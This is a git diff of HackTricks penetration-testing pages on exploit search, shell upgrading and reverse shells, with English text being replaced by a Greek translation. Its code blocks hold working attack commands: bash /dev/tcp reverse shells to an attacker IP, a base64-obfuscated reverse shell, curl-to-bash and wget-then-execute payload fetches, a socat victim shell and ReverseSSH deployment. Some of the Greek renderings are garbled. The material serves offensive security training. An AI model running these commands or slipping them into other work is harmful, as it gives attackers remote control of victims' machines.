@ -41,47 +40,44 @@ searchsploit -p 7618[.c] #Show complete path
|
|||
searchsploit -x 7618[.c] #Open vi to inspect the exploit
|
||||
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
||||
```
|
||||
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα ακόμα εργαλείο για την αναζήτηση εκμεταλλεύσεων
|
||||
|
||||
### MSF-Search
|
||||
|
||||
```bash
|
||||
msf> search platform:windows port:135 target:XP type:exploit
|
||||
```
|
||||
|
||||
### PacketStorm
|
||||
|
||||
If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
Εάν δεν βρεθεί τίποτα, δοκιμάστε να αναζητήσετε τη χρησιμοποιούμενη τεχνολογία στο [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
|
||||
### Vulners
|
||||
|
||||
You can also search in vulners database: [https://vulners.com/](https://vulners.com)
|
||||
Μπορείτε επίσης να αναζητήσετε στη βάση δεδομένων του vulners: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com)
|
||||
Αυτό αναζητά εκμεταλλεύσεις σε άλλες βάσεις δεδομένων: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -23,7 +21,7 @@ Other ways to support HackTricks:
|
|||
|
||||
# [**Full TTYs**](full-ttys.md)
|
||||
|
||||
# **Auto-generated shells**
|
||||
# **Αυτόματα δημιουργημένα shells**
|
||||
|
||||
* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
|
||||
* [**https://www.revshells.com/**](https://www.revshells.com/)
|
||||
|
@ -40,16 +38,14 @@ Other ways to support HackTricks:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Full TTYs
|
||||
# Πλήρης TTYs
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Full TTY
|
||||
## Πλήρες TTY
|
||||
|
||||
Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`.
|
||||
Σημειώστε ότι η κέλυφος που ορίζετε στη μεταβλητή `SHELL` **πρέπει** να **είναι καταχωρημένη μέσα** στον _**/etc/shells**_ ή `Η τιμή για τη μεταβλητή SHELL δεν βρέθηκε στο αρχείο /etc/shells. Αυτό το περιστατικό έχει αναφερθεί`. Επίσης, σημειώστε ότι τα επόμενα αποσπάσματα λειτουργούν μόνο στο bash. Εάν βρίσκεστε σε ένα zsh, αλλάξτε σε ένα bash πριν αποκτήσετε την κέλυφος εκτελώντας `bash`.
|
||||
|
||||
#### Python
|
||||
|
||||
|
@ -29,7 +29,7 @@ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
You can get the **number** of **rows** and **columns** executing **`stty -a`**
|
||||
Μπορείτε να πάρετε τον **αριθμό** των **σειρών** και **στηλών** εκτελώντας **`stty -a`**
|
||||
{% endhint %}
|
||||
|
||||
#### script
|
||||
|
@ -39,10 +39,9 @@ You can get the **number** of **rows** and **columns** executing **`stty -a`**
|
|||
script /dev/null -qc /bin/bash #/dev/null is to not store anything
|
||||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||||
```
|
||||
{% endcode %}
|
||||
{% code %}
|
||||
|
||||
#### socat
|
||||
|
||||
```bash
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
|
@ -50,8 +49,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444
|
|||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
```
|
||||
|
||||
### **Spawn shells**
|
||||
### **Δημιουργία κατακόρυφων κελιών**
|
||||
|
||||
* `python -c 'import pty; pty.spawn("/bin/sh")'`
|
||||
* `echo os.system('/bin/bash')`
|
||||
|
@ -68,11 +66,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
|||
|
||||
## ReverseSSH
|
||||
|
||||
A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target.
|
||||
Ένας βολικός τρόπος για **διαδραστική πρόσβαση σε κελί**, καθώς και για **μεταφορά αρχείων** και **προώθηση θυρών**, είναι να ανεβάσετε τον στατικά συνδεδεμένο διακομιστή ssh [ReverseSSH](https://github.com/Fahrj/reverse-ssh) στον στόχο.
|
||||
|
||||
Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
Παρακάτω παρατίθεται ένα παράδειγμα για `x86` με συμπιεσμένα δυαδικά αρχεία upx. Για άλλα δυαδικά αρχεία, ελέγξτε την [σελίδα κυκλοφορίας](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
|
||||
1. Prepare locally to catch the ssh port forwarding request:
|
||||
1. Προετοιμασία τοπικά για να πιάσετε το αίτημα προώθησης θύρας ssh:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -83,7 +81,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2a) Linux target:
|
||||
* (2α) Στόχος Linux:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -94,7 +92,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)):
|
||||
* (2b) Στόχος Windows 10 (για προηγούμενες εκδόσεις, ελέγξτε το [project readme](https://github.com/Fahrj/reverse-ssh#features)):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -105,8 +103,7 @@ reverse-ssh.exe -p 4444 kali@10.0.0.2
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`:
|
||||
|
||||
* Εάν η αίτηση για ανακλινόμενη προώθηση θύρας ReverseSSH ήταν επιτυχής, τώρα θα πρέπει να μπορείτε να συνδεθείτε με τον προεπιλεγμένο κωδικό πρόσβασης `letmeinbrudipls` στο πλαίσιο του χρήστη που εκτελεί το `reverse-ssh(.exe)`:
|
||||
```bash
|
||||
# Interactive shell access
|
||||
ssh -p 8888 127.0.0.1
|
||||
|
@ -114,25 +111,22 @@ ssh -p 8888 127.0.0.1
|
|||
# Bidirectional file transfer
|
||||
sftp -P 8888 127.0.0.1
|
||||
```
|
||||
## Χωρίς TTY
|
||||
|
||||
## No TTY
|
||||
|
||||
If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file:
|
||||
|
||||
Αν για οποιονδήποτε λόγο δεν μπορείτε να αποκτήσετε ένα πλήρες TTY, μπορείτε παραμένοντας αλληλεπιδραστικοί με προγράμματα που αναμένουν είσοδο από τον χρήστη. Στο παρακάτω παράδειγμα, ο κωδικός περνιέται στο `sudo` για να διαβάσει ένα αρχείο:
|
||||
```bash
|
||||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,34 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Αν έχετε ερωτήσεις για οποιοδήποτε από αυτά τα shells, μπορείτε να τα ελέγξετε με το** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
||||
**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.**
|
||||
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτήν τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
|
||||
```bash
|
||||
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
||||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||||
|
@ -42,11 +41,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
Μην ξεχάσετε να ελέγξετε και άλλα κέλυφα: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
|
||||
|
||||
Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.
|
||||
|
||||
### Symbol safe shell
|
||||
|
||||
### Ασφαλές κέλυφος συμβόλων
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -55,38 +52,34 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
|||
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||||
```
|
||||
#### Εξήγηση του Shell
|
||||
|
||||
#### Shell explanation
|
||||
|
||||
1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell.
|
||||
2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: This is a special file that **represents a TCP connection to the specified IP address and port**.
|
||||
* By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine.
|
||||
4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**.
|
||||
|
||||
### Create in file and execute
|
||||
1. **`bash -i`**: Αυτό το μέρος της εντολής ξεκινά ένα διαδραστικό (`-i`) κέλυφος Bash.
|
||||
2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) όσο και της **τυπικής σφάλματος** (`stderr`) στον **ίδιο προορισμό**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αναπαριστά μια σύνδεση TCP με την καθορισμένη διεύθυνση IP και θύρα**.
|
||||
* Ανακατευθύνοντας τις ροές εξόδου και σφάλματος σε αυτό το αρχείο, η εντολή στην πραγματικότητα στέλνει την έξοδο της διαδραστικής συνεδρίας του κελύφους στον υπολογιστή του επιτιθέμενου.
|
||||
4. **`0>&1`**: Αυτό το μέρος της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
|
||||
|
||||
### Δημιουργία αρχείου και εκτέλεση
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Προώθηση Shell
|
||||
|
||||
## Forward Shell
|
||||
Εάν αντιμετωπίσετε μια ευπάθεια **RCE** σε μια εφαρμογή ιστού βασισμένη σε Linux, ενδέχεται να υπάρχουν περιπτώσεις όπου γίνεται δύσκολη η απόκτηση αντίστροφου shell λόγω της παρουσίας κανόνων Iptables ή άλλων φίλτρων. Σε τέτοιες περιπτώσεις, σκεφτείτε να δημιουργήσετε ένα PTY shell εντός του παραβιασμένου συστήματος χρησιμοποιώντας αγωγούς (pipes).
|
||||
|
||||
If you encounter an **RCE vulnerability** within a Linux-based web application, there might be instances where **obtaining a reverse shell becomes difficult** due to the presence of Iptables rules or other filters. In such scenarios, consider creating a PTY shell within the compromised system using pipes.
|
||||
Μπορείτε να βρείτε τον κώδικα στο [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
|
||||
You can find the code in [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
Απλά χρειάζεται να τροποποιήσετε:
|
||||
|
